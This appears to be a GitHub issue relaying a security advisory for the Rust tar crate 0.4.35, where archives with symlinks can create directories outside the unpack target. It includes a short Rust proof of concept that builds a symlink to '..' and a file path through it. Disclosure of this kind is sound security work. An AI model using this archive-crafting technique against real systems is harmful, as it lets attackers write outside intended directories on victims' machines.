Closed github-actions[bot] closed 3 years ago
Links in archive can create arbitrary directories
tar
0.4.35
When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.
The function errors when it's trying to create a file, but the folders are already created at this point.
use std::{io, io::Result}; use tar::{Archive, Builder, EntryType, Header}; fn main() -> Result<()> { let mut buf = Vec::new(); { let mut builder = Builder::new(&mut buf); // symlink: parent -> .. let mut header = Header::new_gnu(); header.set_path("symlink")?; header.set_link_name("..")?; header.set_entry_type(EntryType::Symlink); header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; // file: symlink/exploit/foo/bar let mut header = Header::new_gnu(); header.set_path("symlink/exploit/foo/bar")?; header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; builder.finish()?; }; Archive::new(&*buf).unpack("demo") }
This issue was discovered and reported by Martin Michaelis (@mgjm).
See advisory page for additional details.
tar
0.4.35
When unpacking a tarball that contains a symlink the
tar
crate may create directories outside of the directory it's supposed to unpack into.The function errors when it's trying to create a file, but the folders are already created at this point.
This issue was discovered and reported by Martin Michaelis (@mgjm).
See advisory page for additional details.